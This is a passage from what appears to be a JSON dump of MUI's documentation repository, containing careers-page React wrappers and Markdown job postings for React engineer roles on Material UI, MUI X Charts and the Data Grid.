📮](https://jobs.ashbyhq.com/MUI/f7b1b8cd-b8b7-4565-92de-34c5f49581c6/application?utm_source=ZNRrPGBkqO)\n\nDon't meet every requirement?\nApply anyway!\nResearch shows that certain folks are less likely to apply for a role than others [unless they meet 100%](https://hbr.org/2014/08/why-women-dont-apply-for-jobs-unless-theyre-100-qualified) of the outlined qualifications.\nIf this role excites you, we want to hear from you.\nWe'd love for you to share the unique skills, passion, and experience you could bring to MUI.\n"
  },
  {
    "path": "docs/pages/careers/react-engineer-material-ui-maintainer.js",
    "content": "import TopLayoutCareers from 'docs/src/modules/components/TopLayoutCareers';\nimport * as pageProps from 'docs/pages/careers/react-engineer-material-ui-maintainer.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutCareers {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/careers/react-engineer-material-ui-maintainer.md",
    "content": "# React Engineer — Material UI Maintainer\n\n<p class=\"description\">You will provide guidance to the community and solve their struggle, working on one of the most popular React UI library.</p>\n\n## Details of the role\n\n- **Location**: Remote (preference for UTC-6 to UTC+5).\n- **Type of work**: Full-time (contractor or employee [depending on circumstances](https://mui-org.notion.site/Hiring-FAQ-64763b756ae44c37b47b081f98915501#494af1f358794028beb4b7697b5d3102)).\n- **Level**: [IC4 or above](https://mui-org.notion.site/Leveling-at-MUI-5c30f9bfe65149d697f346447cef9db1).\n- We're a **remote** company, we prefer asynchronous communication over meetings.\n\n## The company\n\nMUI's story began in 2014 with Material UI, the most successful React implementation of Google's Material Design.\nToday, Material UI stands as one of the most popular open-source libraries on GitHub and has paved the way for the fully-fledged startup known as MUI (founded in 2019), which now boasts an ever-expanding ecosystem of React UI products.\nWe're a company of 35+ people as of early 2025, and we're growing.\n\n## The products\n\nMUI is best known for our flagship product, Material UI—but this is just one of three core component libraries we maintain.\nBase UI is our headless component library, and Pigment CSS is a zero-runtime CSS-in-JS styling engine.\nWe also host Design Kits and pre-built Templates.\n\nBeyond the core libraries, MUI X offers advanced components like the Data Grid, Date and Time Pickers, and Charts, for more complex user interactions and data visualization needs.\n\nLearn more about MUI's products in this blog post: [An introduction to the MUI ecosystem](https://mui.com/blog/mui-product-comparison/).\n\n## The culture\n\nMUI is a fully remote company with a team that spans across the globe.\nThe majority of our work is asynchronous, and we rely mostly on written communication to collaborate.\nWe're radically transparent: nearly all of our work happens in public.\nEach contributor has the freedom to decide how and when they work, and that work is primarily self-directed: it's your responsibility to define and complete your own tasks in a timely manner.\n\nFor additional details about the culture, you can check our [careers](https://mui.com/careers/) and [about](https://mui.com/about/) pages and also our [public Handbook](https://mui-org.notion.site/Handbook-f086d47e10794d5e839aef9dc67f324b).\n\n## Why we're hiring\n\nWe need a Community Engineer to solve friction points of users.\nWe face challenges on multiple fronts:\n\n- As the library grows, we (will) have more users questions and feedback coming in than ever before.\n- The rapid growth of new products is stretching our developers too thin.\n- Software engineers at MUI are tasked with doing support, however, they could benefit from the help of a dedicated person per project, for instance to improve the workflows and tooling.\n\nOverall, both our open-source community and our premium products are growing fast.\nWe need talented people to keep up with the demands of our exigent community!\n\n## The role\n\n### Why this is interesting\n\nYou will be a key member of the Core team and will directly impact the project's roadmap.\nYou will troubleshoot and depending on your bandwidth also fix complex issues related to MUI.\nAt MUI a Community Engineer is considered a developer, it's a person that enjoys optimizing what already exists but is also eager to help our users with features that are requested by the community.\n\nOur products empower React developers to build awesome applications faster – we see millions of developers on MUI's docs every year, one million a month.\n\n### Key responsibilities\n\nYou will own the following responsibilities:\n\n- **Build product knowledge**. You will continually research and learn the current and future best practices of using MUI.\n- **Resolve users' issues**. You will solve these issues at two levels:\n  - On the surface, you will answer developers on GitHub.\n  - At the root, you will create/update the documentation, fix bugs, implement community driven features and more.\n- **Provide feedback**. You will work alongside product managers to define and shape the product goals, roadmap, priorities, and strategy based on your frontline knowledge of customer needs.\n- **Operations**.\n  - You will establish key support metrics and identify how best to measure them.\n  - You will establish a workflow to reduce 'time to response' and 'time to fix' that can scale to multiple team members.\n  - You will identify where internal tooling might be developed or obtained to improve support efficiency.\n\nDepending on the day, you'll:\n\n- **Interact with the users** on a regular basis, handling inbound support and feature requests (every developer helps with developer requests).\n- **Reduce friction**.\n  A large amount of the work on MUI is reducing friction and making it easier to use.\n  This might involve careful API design, identifying and fixing top bugs, creating easier-to-understand error messages, and writing documentation and blog posts about features you ship.\n- **Collaborate with the community**.\n  Many small, as well as meaningful fixes and features, have been contributed by the community. Your role is to draw the best out of the community — to inspire those across the world to create and contribute through your reviews of their issues and pull requests.\n- **Experiment and play**. Great, unexpected features and heisenbug fixes have come from a number of sources — relentlessly methodical processes of elimination, free-flowing team collaboration, inspiration by adjacent libraries and projects, and difficult-to-explain individual strokes of brilliance. Whatever your preferred style is for creating new things that others might not have thought of, you'll find a welcome home on the team.\n- **Ship. Early and often**. You'll iterate and ship frequently.\n  You'll have a real impact on the end-user experience and you'll love working on a team that builds stunning UIs and prioritizes delivering real user value as often as possible.\n\n## Who we're looking for\n\nWe're looking for someone with strong front-end skills. More important than specific technical skills though is that you're a strong problem solver who loves to learn. Details matter to you.\n\n### Required\n\n- **Expertise in the modern JavaScript ecosystem**.\n  MUI's open-source projects are built on the shoulders of giants, making use of technologies such as ES2021, TypeScript, Node.js, React, Next.js, webpack, and Babel.\n- **A track record of demonstrating an eye for product and solving real-world user problems**. If you have a knack for solving problems at the root cause, shipping beautiful user interfaces and intuitive APIs, we want you on our team.\n- **Strong written and verbal communication skills**.\n  As part of the team, you'll interface both directly and indirectly with community members and enterprise customers, and contribute to user documentation. Clear communication is fundamental in creating intuitive and compelling resources.\n- **Ability to dive into complex problems**.\n  You should be able to quickly assess, understand, and iterate upon aspects of our codebase.\n- **Ready and willing to ask and answer questions**.\n  If you're comfortable saying you're unsure, asking for help; but equally reaching out to assist others, you'll be an incredible addition to our team. We thrive because of continuous learning. First-time mistakes should be celebrated, not blamed.\n- **Avoid monolithic deliverables**.\n  You scope and stage your work into well-defined milestones to ship.\n- **Past work with front-end infrastructure**.\n  Perhaps you've created your company's design system, written a Babel plugin, or written complex React components.\n  It would be great if you could address this in your cover letter!\n- **You've contributed to a design system before**.\n  You have worked on enterprise components in the past, maybe for internal use in your company.\n  You have built complex and advanced features while making sure the accessibility was fully functional.\n\n### Nice to have (but not required)\n\n- **You've maintained an active repository before**.\n  Maybe you've helped maintain a popular open-source repository, or perhaps you've worked on internal repositories that saw contributions from multiple teams.\n  Previous experience with highly active repository workflows is a definite plus for this role.\n- **You have contributed code**. A history of contributing to MUI's open-source projects is a plus.\n\n## Benefits and compensation\n\nCompetitive compensation depending on the profile and location.\nWe are ready to pay top market rates for a person who can clearly exceed the role's expectations.\nYou can find the other perks & benefits on the [careers](https://mui.com/careers/#perks-and-benefits) page.\n\n## How to apply\n\n[Apply now for this position 📮](https://jobs.ashbyhq.com/MUI/f28a1482-22fb-4cf8-9263-092ec0f81657/application?utm_source=ZNRrPGBkqO)\n\nDon't meet every requirement?\nApply anyway!\nResearch shows that certain folks are less likely to apply for a role than others [unless they meet 100%](https://hbr.org/2014/08/why-women-dont-apply-for-jobs-unless-theyre-100-qualified) of the outlined qualifications.\nIf this role excites you, we want to hear from you.\nWe'd love for you to share the unique skills, passion, and experience you could bring to MUI.\n"
  },
  {
    "path": "docs/pages/careers/react-engineer-x-charts.js",
    "content": "import TopLayoutCareers from 'docs/src/modules/components/TopLayoutCareers';\nimport * as pageProps from 'docs/pages/careers/react-engineer-x-charts.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutCareers {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/careers/react-engineer-x-charts.md",
    "content": "# React Engineer — xCharts\n\n<p class=\"description\">You will help form the xCharts team, build ambitious and complex new features, work on strategic problems, and help grow adoption.</p>\n\n## Details of the role\n\n- **Location**: Remote (strong preference for UTC-6 to UTC+5).\n- **Type of work**: Full-time (contractor or employee [depending on circumstances](https://mui-org.notion.site/Hiring-FAQ-64763b756ae44c37b47b081f98915501#494af1f358794028beb4b7697b5d3102)).\n- **Level**: [IC4 or above](https://mui-org.notion.site/Leveling-at-MUI-5c30f9bfe65149d697f346447cef9db1).\n- We're a **remote** company, we prefer asynchronous communication over meetings.\n\n## The company\n\nMUI's story began in 2014 with Material UI, the most successful React implementation of Google's Material Design.\nToday, Material UI stands as one of the most popular open-source libraries on GitHub and has paved the way for the fully-fledged startup known as MUI (founded in 2019), which now boasts an ever-expanding ecosystem of React UI products.\nWe're a company of 40 people as of 2025, and we're growing steadily.\n\n## The products\n\nMUI is best known for our flagship product, Material UI—but this is just one of three core component libraries we maintain. Base UI is our headless component library, and Pigment CSS is a zero-runtime CSS-in-JS styling engine. We also host Design Kits and pre-built Templates.\n\nBeyond the core libraries, MUI X offers advanced components like the Data Grid, Date and Time Pickers, and Charts, for more complex user interactions and data visualization needs.\n\nLearn more about MUI's products in this blog post: [An introduction to the MUI ecosystem](https://mui.com/blog/mui-product-comparison/).\n\n## The culture\n\nMUI is a fully remote company with a team that spans the globe.\nThe majority of our work is asynchronous, and we rely on written communication to collaborate. We're radically transparent: nearly all of our work happens in public.\nEach contributor has the freedom to decide how and when they work, and that work is primarily self-directed: it's your responsibility to define and complete your own tasks in a timely manner.\n\nFor additional details about the culture, you can check our [careers](https://mui.com/careers/) and [about](https://mui.com/about/) pages and also our [public Handbook](https://mui-org.notion.site/Handbook-f086d47e10794d5e839aef9dc67f324b).\n\n## Why we're hiring\n\nThe charts team (part of MUI X) needs your help.\nThe component is off to [a great start](https://npm-stat.com/charts.html?package=%40mui%2Fx-charts&from=2021-06-01), however we have only started to scratch the surface for the potential of this component. There is x10 more to build.\n\nTo be more specific in what we are aiming to achieve in the short to mid-term:\n\n- A tighter integration with the rest of the MUI libraries including Material UI and MUI X Data Grid\n- Faster iteration cycles compared to popular open-source alternatives such as Recharts and Chart.js.\n\nThis should allow us to reach 30% of the downloads of alternative React charting libraries, considering benchmark data in the short term. Developers value having a single touch point, but also one they trust, and one that integrates well into the rest of their application.\n\nIn the mid-term, we aspired for this charting library to become a standard in the React ecosystem, outgrowing Material UI or any other UI library.\nWe believe we can achieve this with an open-core model.\nWe will at least match the features available in the alternative open-source projects, licensed as MIT in MUI X Charts.\nWe will then provide extra paid features so developers can use a single charting library, without the need to juggle with paid alternatives as they do today.\n\nIn the long term, we envision using the pro-code charting API as a distribution channel for building more abstract charting primitives, using low-code and AI.\n\n### Why this is interesting\n\nThe advanced components portfolio is still small, with a million interesting and challenging problems to solve.\n\nOur products empower React developers to build awesome applications faster – we see millions of developers on MUI's docs every year, one million a month.\n\n## The role\n\n### Key responsibilities\n\nDepending on the day, you'll:\n\n- **Help guide architectural decisions**.\n  The future of MUI is discussed and planned in our public RFCs and issues.\n  You'll be helping drive these conversations and guiding MUI toward the best possible solutions.\n- **Contribute to deep, meaningful refactors and feature releases**.\n  MUI is a complex codebase. Components we've shipped recently, such as the data grid and date pickers have required months of dedicated, careful work.\n- **Reduce friction**.\n  A large amount of the work on MUI is reducing friction and making it easier to use.\n  This might involve careful API design, identifying and fixing top bugs, creating easier-to-understand error messages, and writing documentation and blog posts about features you ship.\n- **Collaborate with the community**.\n  Many small, as well as meaningful fixes and features, have been contributed by the community. Your role is to draw the best out of the community — to inspire those across the world to create and contribute through your reviews of their issues and pull requests.\n- **Experiment and play**. Great, unexpected features and heisenbug fixes have come from a number of sources — relentlessly methodical processes of elimination, free-flowing team collaboration, inspiration by adjacent libraries and projects, and difficult-to-explain individual strokes of brilliance. Whatever your preferred style is for creating new things that others might not have thought of, you'll find a welcome home on the team.\n- **Take ownership of features from idea/mockup to live deployment**.\n  You'll shape and guide the direction of crucial new features, including new components.\n- **Ship. Early and often**. You'll iterate and ship frequently.\n  You'll have a real impact on the end-user experience and you'll love working on a team that builds stunning UIs and prioritizes delivering real user value as often as possible.\n- **You'll be interacting with the users** on a regular basis, handling inbound support and feature requests (every developer helps with developer requests).\n\n### The best parts of this job\n\n- **You'll be at the cutting edge of application development** — working on one of the fastest-growing UI libraries on the market.\n- **You'll be part of an active, open, friendly community** of developers that are excited about building awesome applications.\n- **Your role will be key to making MUI the go-to UI solution** for building applications, websites, and design systems with React.\n\n### The worst parts of this job\n\n- **Shifting context.**\n  You will necessarily have to shift context and dive into a different feature before the current one is done.\n  It may even be in an area of the codebase you're unfamiliar with or don't have a ton of understanding about.\n  It's fun, rewarding work, but it can be very challenging.\n- **We move quickly but don't sacrifice quality**.\n  We ship early, often, and quickly. You may not be initially comfortable with the cadence with which we ship high-quality features and improvements to end-users. By doing so, we sacrifice on solving each problem 100% in exchange for fast feedback. Solving 50-70% of the issue with quality should be enough for any given iteration. Our users quickly tell us when we haven't pushed a solution far enough.\n- **MUI has a large codebase**. You may bang your head against the wall at times, and then write tests to assist future you 😌.\n  The work you will be doing is somewhat unique and idiosyncratic. You probably have not had a similar role before.\n- **In open-source, you're faced with a nonstop stream of bug reports and support requests**. That means you need to develop an intuition for when to ignore something, and when to dig in further.\n\n## Who we're looking for\n\nWe're looking for someone with strong front-end skills. More important than specific technical skills though is that you're a strong problem solver who loves to learn. Details matter to you.\n\n### Required\n\n- **Expertise in the modern JavaScript ecosystem**.\n  MUI's open-source projects are built on the shoulders of giants, making use of technologies such as ES2021, TypeScript, Node.js, React, Next.js, webpack, and Babel.\n- **A track record of demonstrating an eye for product and solving real-world user problems**. If you have a knack for solving problems at the root cause, shipping beautiful user interfaces and intuitive APIs, we want you on our team.\n- **Experience building and shipping production code in a team setting** with a passion for writing tested, performant, and high-quality code.\n- **Strong written and verbal communication skills**.\n  As part of the team, you'll interface both directly and indirectly with community members and enterprise customers, and contribute to user documentation. Clear communication is fundamental in creating intuitive and compelling resources.\n- **Ability to dive into complex problems**.\n  You should be able to quickly assess, understand, and iterate upon aspects of our codebase.\n- **Ready and willing to ask and answer questions**.\n  If you're comfortable saying you're unsure, asking for help; but equally reaching out to assist others, you'll be an incredible addition to our team. We thrive because of continuous learning. First-time mistakes should be celebrated, not blamed.\n- **Experience or interest in drawing technologies**.\n  Charts use SVG and canvas which implies using other API than HTML/CSS. Hope you know them or enjoy discovering new documentation.\n- **Avoid monolithic deliverables**.\n  You scope and stage your work into well-defined milestones to ship.\n- **Past work with front-end infrastructure**.\n  Perhaps you've created your company's design system, written a Babel plugin, or written complex React components.\n  It would be great if you could address this in your cover letter!\n\n### Nice to have (but not required)\n\n- **You've experience with charts**.\n  You have contributed to building chart libraries, integrated charts in a design system, or contributed to chart intensive applications.\n  You have built complex and advanced features while making sure the accessibility was fully functional.\n- **You've contributed to a design system before**.\n  You have worked on enterprise components in the past, maybe for internal use in your company.\n  You have built complex and advanced features while making sure the accessibility was fully functional.\n- **You've maintained an active repository before**.\n  Maybe you've helped maintain a popular open-source repository, or perhaps you've worked on internal repositories that saw contributions from multiple teams.\n  Previous experience with highly active repository workflows is a definite plus for this role.\n- **You have contributed code**. A history of contributing to MUI's open-source projects is a plus.\n\n## Benefits and compensation\n\nWe offer competitive compensation commensurate with your experience level and location and are prepared to pay top market rates for someone who can clearly exceed the role's expectations. You can find the other perks and benefits on the [careers](https://mui.com/careers/#perks-and-benefits) page.\n\n## How to apply\n\n[Apply now for this position 📮](https://jobs.ashbyhq.com/MUI/2a1b0084-53aa-4aca-84ec-f8cfe25093ae/application?utm_source=ZNRrPGBkqO)\n\nDon't meet every requirement?\nApply anyway!\nResearch shows that certain folks are less likely to apply for a role than others [unless they meet 100%](https://hbr.org/2014/08/why-women-dont-apply-for-jobs-unless-theyre-100-qualified) of the outlined qualifications.\nIf this role excites you, we want to hear from you.\nWe'd love for you to share the unique skills, passion, and experience you could bring to MUI.\n"
  },
  {
    "path": "docs/pages/careers/react-engineer-x-grid.md",
    "content": "# React Engineer — xGrid (future role)\n\n<p class=\"description\">You will strengthen the Data Grid team, build ambitious and complex new features, work on strategic problems, and help grow adoption.</p>\n\n## Details of the role\n\n- **Location**: Remote (preference for UTC-6 to UTC+5).\n- **Type of work**: Full-time (contractor or employee [depending on circumstances](https://mui-org.notion.site/Hiring-FAQ-64763b756ae44c37b47b081f98915501#494af1f358794028beb4b7697b5d3102)).\n- **Level**: [IC4 or above](https://mui-org.notion.site/Leveling-at-MUI-5c30f9bfe65149d697f346447cef9db1).\n- We're a **remote** company, we prefer asynchronous communication over meetings.\n\n## The company\n\nMUI's story began in 2014 with Material UI, the most successful React implementation of Google's Material Design.\nToday, Material UI stands as one of the most popular open-source libraries on GitHub and has paved the way for the fully-fledged startup known as MUI (founded in 2019), which now boasts an ever-expanding ecosystem of React UI products.\nWe're a company of 40 people as of 2025, and we're growing steadily.\n\n## The products\n\nMUI is best known for our flagship product, Material UI—but this is just one of three core component libraries we maintain.\nBase UI is our headless component library, and Joy UI is a sister library to Material UI that implements our own in-house Joy Design system.\nWe also host Design Kits and pre-built Templates.\n\nBeyond the core libraries, MUI X offers advanced components like the Data Grid, Date and Time Pickers, and Charts, for more complex user interactions and data visualization needs.\n\nLearn more about MUI's products in this blog post: [An introduction to the MUI ecosystem](https://mui.com/blog/mui-product-comparison/).\n\n## The culture\n\nMUI is a fully remote company with a team that spans the globe.\nThe majority of our work is asynchronous, and we rely on written communication to collaborate.\nWe're radically transparent: nearly all of our work happens in public.\nEach contributor has the freedom to decide how and when they work, and that work is primarily self-directed: it's your responsibility to define and complete your own tasks in a timely manner.\n\nFor additional details about the culture, you can check our [careers](https://mui.com/careers/) and [about](https://mui.com/about/) pages and also our [public Handbook](https://mui-org.notion.site/Handbook-f086d47e10794d5e839aef9dc67f324b).\n\n## Why we're hiring\n\nThe data grid team (part of MUI X) needs help.\nWe have started with the [data grid](https://mui.com/x/react-data-grid/#commercial-version) component.\nWe need to build new features on it and introduce new components.\nThe enterprise version is built on the open-source version of the components.\n\nWe also need help to continue to improve the health of the open-source product: make the advanced components easier to use, make it support more use cases, improve performance, make it more accessible, increase the contributions by engaging and collaborating with the community, guide developers to answers, and just generally be a positive presence in the open-source community.\n\nOverall, both our open-source community and our premium products are growing fast.\nWe need talented people to keep up with the demands of our exigent community!\n\n## The role\n\n### Why this is interesting\n\nThe advanced components portfolio is still small, with a million interesting and challenging problems to solve.\n\nOur products empower React developers to build awesome applications faster – we see millions of developers on MUI's docs every year, one million a month.\n\n### Key responsibilities\n\nDepending on the day, you'll:\n\n- **Help guide architectural decisions**.\n  The future of MUI is discussed and planned in our public RFCs and issues.\n  You'll be helping drive these conversations and guiding MUI toward the best possible solutions.\n- **Contribute to deep, meaningful refactors and feature releases**.\n  MUI is a complex codebase. Components we've shipped recently, such as the data grid have required months of dedicated, careful work.\n- **Reduce friction**.\n  A large amount of the work on MUI is reducing friction and making it easier to use.\n  This might involve careful API design, identifying and fixing top bugs, creating easier-to-understand error messages, and writing documentation and blog posts about features you ship.\n- **Collaborate with the community**.\n  Many small, as well as meaningful fixes and features, have been contributed by the community. Your role is to draw the best out of the community — to inspire those across the world to create and contribute through your reviews of their issues and pull requests.\n- **Experiment and play**. Great, unexpected features and heisenbug fixes have come from a number of sources — relentlessly methodical processes of elimination, free-flowing team collaboration, inspiration by adjacent libraries and projects, and difficult-to-explain individual strokes of brilliance. Whatever your preferred style is for creating new things that others might not have thought of, you'll find a welcome home on the team.\n- **Take ownership of features from idea/mockup to live deployment**.\n  You'll shape and guide the direction of crucial new features, including new components.\n- **Ship. Early and often**. You'll iterate and ship frequently.\n  You'll have a real impact on the end-user experience and you'll love working on a team that builds stunning UIs and prioritizes delivering real user value as often as possible.\n- **You'll be interacting with the users** on a regular basis, handling inbound support and feature requests (every developer helps with developer requests).\n\n### The best parts of this job\n\n- **You'll be at the cutting edge of application development** — working on one of the fastest-growing UI libraries on the market.\n- **You'll be part of an active, open, friendly community** of developers that are excited about building awesome applications.\n- **Your role will be key to making MUI the go-to UI solution** for building applications, websites, and design systems with React.\n\n### The worst parts of this job\n\n- **Shifting context.**\n  You will necessarily have to shift context and dive into a different feature before the current one is done.\n  It may even be in an area of the codebase you're unfamiliar with or don't have a ton of understanding about.\n  It's fun, rewarding work, but it can be very challenging.\n- **We move quickly but don't sacrifice quality**.\n  We ship early, often, and quickly. You may not be initially comfortable with the cadence with which we ship high-quality features and improvements to end-users. By doing so, we sacrifice on solving each problem 100% in exchange for fast feedback. Solving 50-70% of the issue with quality should be enough for any given iteration. Our users quickly tell us when we haven't pushed a solution far enough.\n- **MUI has a large codebase**. You may bang your head against the wall at times, and then write tests to assist future you 😌.\n  The work you will be doing is somewhat unique and idiosyncratic. You probably have not had a similar role before.\n- **In open-source, you're faced with a nonstop stream of bug reports and support requests**. That means you need to develop an intuition for when to ignore something, and when to dig in further.\n\n## Who we're looking for\n\nWe're looking for someone with strong front-end skills. More important than specific technical skills though is that you're a strong problem solver who loves to learn. Details matter to you.\n\n### Required\n\n- **Expertise in the modern JavaScript ecosystem**.\n  MUI's open-source projects are built on the shoulders of giants, making use of technologies such as ES2021, TypeScript, Node.js, React, Next.js, webpack, and Babel.\n- **A track record of demonstrating an eye for product and solving real-world user problems**. If you have a knack for solving problems at the root cause, shipping beautiful user interfaces and intuitive APIs, we want you on our team.\n- **Experience building and shipping production code in a team setting** with a passion for writing tested, performant, and high-quality code.\n- **Strong written and verbal communication skills**.\n  As part of the team, you'll interface both directly and indirectly with community members and enterprise customers, and contribute to user documentation. Clear communication is fundamental in creating intuitive and compelling resources.\n- **Ability to dive into complex problems**.\n  You should be able to quickly assess, understand, and iterate upon aspects of our codebase.\n- **Ready and willing to ask and answer questions**.\n  If you're comfortable saying you're unsure, asking for help; but equally reaching out to assist others, you'll be an incredible addition to our team. We thrive because of continuous learning. First-time mistakes should be celebrated, not blamed.\n- **Avoid monolithic deliverables**.\n  You scope and stage your work into well-defined milestones to ship.\n- **Past work with front-end infrastructure**.\n  Perhaps you've created your company's design system, written a Babel plugin, or written complex React components.\n  It would be great if you could address this in your cover letter!\n\n### Nice to have (but not required)\n\n- **You've contributed to a design system before**.\n  You have worked on enterprise components in the past, maybe for internal use in your company.\n  You have built complex and advanced features while making sure the accessibility was fully functional.\n- **You've maintained an active repository before**.\n  Maybe you've helped maintain a popular open-source repository, or perhaps you've worked on internal repositories that saw contributions from multiple teams.\n  Previous experience with highly active repository workflows is a definite plus for this role.\n- **You have contributed code**. A history of contributing to MUI's open-source projects is a plus.\n\n## Benefits and compensation\n\nCompetitive compensation depending on the profile and location.\nWe are ready to pay top market rates for a person who can clearly exceed the role's expectations.\nYou can find the other perks & benefits on the [careers](https://mui.com/careers/#perks-and-benefits) page.\n\n## How to apply\n\n[Apply now for this position 📮](https://jobs.ashbyhq.com/MUI/77584e4c-9379-45f3-a294-6e50bf250383/application?utm_source=ZNRrPGBkqO)\n\nDon't meet every requirement?\nApply anyway!\nResearch shows that certain folks are less likely to apply for a role than others [unless they meet 100%](https://hbr.org/2014/08/why-women-dont-apply-for-jobs-unless-theyre-100-qualified) of the outlined qualifications.\nIf this role excites you, we want to hear from you.\nWe'd love for you to share the unique skills, passion, and experience you could bring to MUI.\n"
  },
  {
    "path": "docs/pages/careers/react-engineer-x.js",
    "content": "import TopLayoutCareers from 'docs/src/modules/components/TopLayoutCareers';\nimport * as pageProps from 'docs/pages/careers/react-engineer-x.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutCareers {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/careers/react-engineer-x.md",
    "content": "# React Engineer — X\n\n<p class=\"description\">You will strengthen the MUI X product by building ambitious and complex new features, working on strategic problems, and helping to drive adoption.</p>\n\n## Details of the role\n\n- **Location**: Remote (preference for UTC-6 to UTC+5).\n- **Type of work**: Full-time (contractor or employee [depending on circumstances](https://mui-org.notion.site/Hiring-FAQ-64763b756ae44c37b47b081f98915501#494af1f358794028beb4b7697b5d3102)).\n- **Level**: [IC4 or above](https://mui-org.notion.site/Leveling-at-MUI-5c30f9bfe65149d697f346447cef9db1).\n- We're a **remote** company, we prefer asynchronous communication over meetings.\n\n## The company\n\nMUI's story began in 2014 with Material UI, the most successful React implementation of Google's Material Design.\nToday, Material UI stands as one of the most popular open-source libraries on GitHub and has paved the way for the fully-fledged startup known as MUI (founded in 2019), which now boasts an ever-expanding ecosystem of React UI products.\nWe're a company of 40 people as of 2025, and we're growing steadily.\n\n## The products\n\nMUI is best known for our flagship product, Material UI—but this is just one of three core component libraries we maintain. Base UI is our headless component library, and Pigment CSS is a zero-runtime CSS-in-JS styling engine. We also host Design Kits and pre-built Templates.\n\nBeyond the core libraries, MUI X offers advanced components like the Data Grid, Date and Time Pickers, and Charts, for more complex user interactions and data visualization needs.\n\nLearn more about MUI's products in this blog post: [An introduction to the MUI ecosystem](https://mui.com/blog/mui-product-comparison/).\n\n## The culture\n\nMUI is a fully remote company with a team that spans the globe.\nThe majority of our work is asynchronous, and we rely on written communication to collaborate. We're radically transparent: nearly all of our work happens in public.\nEach contributor has the freedom to decide how and when they work, and that work is primarily self-directed: it's your responsibility to define and complete your own tasks in a timely manner.\n\nFor additional details about the culture, you can check our [careers](https://mui.com/careers/) and [about](https://mui.com/about/) pages and also our [public Handbook](https://mui-org.notion.site/Handbook-f086d47e10794d5e839aef9dc67f324b).\n\n## Why we're hiring\n\nWe need help to continue to improve the health of the open-source product: make the advanced components easier to use, make it support more use cases, improve performance, make it more accessible, increase the contributions by engaging and collaborating with the community, guide developers to answers, and just generally be a positive presence in the open-source community.\n\nOverall, both our open-source community and our premium products are growing fast.\nWe need talented people to keep up with the demands of our exigent community!\n\n### Why this is interesting\n\nThe advanced components portfolio is still small, with a million interesting and challenging problems to solve.\n\nOur products empower React developers to build awesome applications faster – we see millions of developers on MUI's docs every year, one million a month.\n\n## The role\n\n### Key responsibilities\n\nDepending on the day, you'll:\n\n- **Help guide architectural decisions**.\n  The future of MUI is discussed and planned in our public RFCs and issues.\n  You'll be helping drive these conversations and guiding MUI toward the best possible solutions.\n- **Contribute to deep, meaningful refactors and feature releases**.\n  MUI is a complex codebase. Components we've shipped recently, such as the data grid and date pickers have required months of dedicated, careful work.\n- **Reduce friction**.\n  A large amount of the work on MUI is reducing friction and making it easier to use.\n  This might involve careful API design, identifying and fixing top bugs, creating easier-to-understand error messages, and writing documentation and blog posts about features you ship.\n- **Collaborate with the community**.\n  Many small, as well as meaningful fixes and features, have been contributed by the community. Your role is to draw the best out of the community — to inspire those across the world to create and contribute through your reviews of their issues and pull requests.\n- **Experiment and play**. Great, unexpected features and heisenbug fixes have come from a number of sources — relentlessly methodical processes of elimination, free-flowing team collaboration, inspiration by adjacent libraries and projects, and difficult-to-explain individual strokes of brilliance. Whatever your preferred style is for creating new things that others might not have thought of, you'll find a welcome home on the team.\n- **Take ownership of features from idea/mockup to live deployment**.\n  You'll shape and guide the direction of crucial new features, including new components.\n- **Ship. Early and often**. You'll iterate and ship frequently.\n  You'll have a real impact on the end-user experience and you'll love working on a team that builds stunning UIs and prioritizes delivering real user value as often as possible.\n- **You'll be interacting with the users** on a regular basis, handling inbound support and feature requests (every developer helps with developer requests).\n\n### The best parts of this job\n\n- **You'll be at the cutting edge of application development** — working on one of the fastest-growing UI libraries on the market.\n- **You'll be part of an active, open, friendly community** of developers that are excited about building awesome applications.\n- **Your role will be key to making MUI the go-to UI solution** for building applications, websites, and design systems with React.\n\n### The worst parts of this job\n\n- **Shifting context.**\n  You will necessarily have to shift context and dive into a different feature before the current one is done.\n  It may even be in an area of the codebase you're unfamiliar with or don't have a ton of understanding about.\n  It's fun, rewarding work, but it can be very challenging.\n- **We move quickly but don't sacrifice quality**.\n  We ship early, often, and quickly. You may not be initially comfortable with the cadence with which we ship high-quality features and improvements to end-users. By doing so, we sacrifice on solving each problem 100% in exchange for fast feedback. Solving 50-70% of the issue with quality should be enough for any given iteration. Our users quickly tell us when we haven't pushed a solution far enough.\n- **MUI has a large codebase**. You may bang your head against the wall at times, and then write tests to assist future you 😌.\n  The work you will be doing is somewhat unique and idiosyncratic. You probably have not had a similar role before.\n- **In open-source, you're faced with a nonstop stream of bug reports and support requests**. That means you need to develop an intuition for when to ignore something, and when to dig in further.\n\n## Who we're looking for\n\nWe're looking for someone with strong front-end skills. More important than specific technical skills though is that you're a strong problem solver who loves to learn. Details matter to you.\n\n### Required\n\n- **Expertise in the modern JavaScript ecosystem**.\n  MUI's open-source projects are built on the shoulders of giants, making use of technologies such as ES2021, TypeScript, Node.js, React, Next.js, webpack, and Babel.\n- **A track record of demonstrating an eye for product and solving real-world user problems**. If you have a knack for solving problems at the root cause, shipping beautiful user interfaces and intuitive APIs, we want you on our team.\n- **Experience building and shipping production code in a team setting** with a passion for writing tested, performant, and high-quality code.\n- **Strong written and verbal communication skills**.\n  As part of the team, you'll interface both directly and indirectly with community members and enterprise customers, and contribute to user documentation. Clear communication is fundamental in creating intuitive and compelling resources.\n- **Ability to dive into complex problems**.\n  You should be able to quickly assess, understand, and iterate upon aspects of our codebase.\n- **Ready and willing to ask and answer questions**.\n  If you're comfortable saying you're unsure, asking for help; but equally reaching out to assist others, you'll be an incredible addition to our team. We thrive because of continuous learning. First-time mistakes should be celebrated, not blamed.\n- **Avoid monolithic deliverables**.\n  You scope and stage your work into well-defined milestones to ship.\n- **Past work with front-end infrastructure**.\n  Perhaps you've created your company's design system, written a Babel plugin, or written complex React components.\n  It would be great if you could address this in your cover letter!\n\n### Nice to have (but not required)\n\n- **You've contributed to a design system before**.\n  You have worked on enterprise components in the past, maybe for internal use in your company.\n  You have built complex and advanced features while making sure the accessibility was fully functional.\n- **You've maintained an active repository before**.\n  Maybe you've helped maintain a popular open-source repository, or perhaps you've worked on internal repositories that saw contributions from multiple teams.\n  Previous experience with highly active repository workflows is a definite plus for this role.\n- **You have contributed code**. A history of contributing to MUI's open-source projects is a plus.\n\n## Benefits and 